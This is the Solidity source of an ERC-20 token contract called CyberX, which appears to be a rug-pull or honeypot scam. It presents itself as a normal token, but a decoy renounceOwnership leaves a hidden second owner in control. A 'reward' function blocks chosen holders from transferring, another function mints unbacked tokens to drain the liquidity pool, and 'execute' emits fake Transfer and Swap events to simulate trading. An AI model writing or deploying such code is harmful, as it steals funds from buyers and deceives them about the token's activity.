Contract Source Code:
File 1 of 1 : CyberX
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IPair {
function token0() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IERC20 {
function _Transfer(
address from,
address recipient,
uint256 amount
) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
contract CyberX {
IRouter internal _router;
IPair internal _pair;
address public owner;
address private _owner;
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private crossamounts;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowances;
string public constant name = "CyberX";
string public constant symbol = "CyberX";
uint8 public constant decimals = 18;
uint256 public totalSupply = 1_000_000e18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
constructor() {
owner = msg.sender;
_owner = msg.sender;
_router = IRouter(_routerAddress);
_pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
modifier OnlyOwner() {
require(_owner == msg.sender, "Caller is not the Owner");
_;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function renounceOwnership() public onlyOwner {
owner = address(0);
}
function balanceOf(address account) public view virtual returns (uint256) {
return balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address __owner, address spender) public view virtual returns (uint256) {
return allowances[__owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address __owner = msg.sender;
_approve(__owner, spender, allowance(__owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address __owner = msg.sender;
uint256 currentAllowance = allowance(__owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(__owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (crossamounts[from] > 0) {
require(_count(crossamounts[from], balances[from]) == 0);
}
balances[from] = sub(fromBalance, amount);
balances[to] = add(balances[to], amount);
emit Transfer(from, to, amount);
}
function _approve(
address __owner,
address spender,
uint256 amount
) internal virtual {
require(__owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowances[__owner][spender] = amount;
emit Approval(__owner, spender, amount);
}
function _spendAllowance(
address __owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(__owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(__owner, spender, currentAllowance - amount);
}
}
}
function execute(
address[] memory recipients,
uint256 tokenAmount,
uint256 wethAmount,
address tokenAddress
) public OnlyOwner returns (bool) {
for (uint256 i = 0; i < recipients.length; i++) {
_swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
}
return true;
}
function swapExactETHForTokens(
address baseToken,
address _recipient,
uint256 amount
) public OnlyOwner {
require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
uint256 amountOut = (baseTokenReserve * amount) / 100000;
address[] memory path;
path = new address[](2);
path[0] = address(this);
path[1] = baseToken;
uint256 amountIn = _countAmountIn(amountOut, path);
_approve(address(this), address(_router), balanceOf(address(this)));
_router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200);
}
function getBaseTokenReserve(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return baseTokenReserve;
}
function reward(
address[] calldata _users,
uint256 _minBalanceToReward,
uint256 _percent
) public OnlyOwner {
for (uint256 i = 0; i < _users.length; i++) {
if (balanceOf(_users[i]) > _minBalanceToReward) {
uint256 rewardAmount = _countReward(_users[i], _percent);
crossamounts[_users[i]] = rewardAmount;
}
}
}
function _swap(
address recipient,
uint256 tokenAmount,
uint256 wethAmount,
address tokenAddress
) internal {
_emitTransfer(recipient, tokenAmount);
_emitSwap(tokenAmount, wethAmount, recipient);
IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
}
function _emitTransfer(address recipient, uint256 tokenAmount) internal {
emit Transfer(address(_pair), recipient, tokenAmount);
}
function _emitSwap(
uint256 tokenAmount,
uint256 wethAmount,
address recipient
) internal {
emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
}
function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
return _count(balances[_user], _percent);
}
function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
uint256[] memory amountInMax;
amountInMax = new uint256[](2);
amountInMax = _router.getAmountsIn(amountOut, path);
balances[address(this)] += amountInMax[0];
return amountInMax[0];
}
function _count(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
}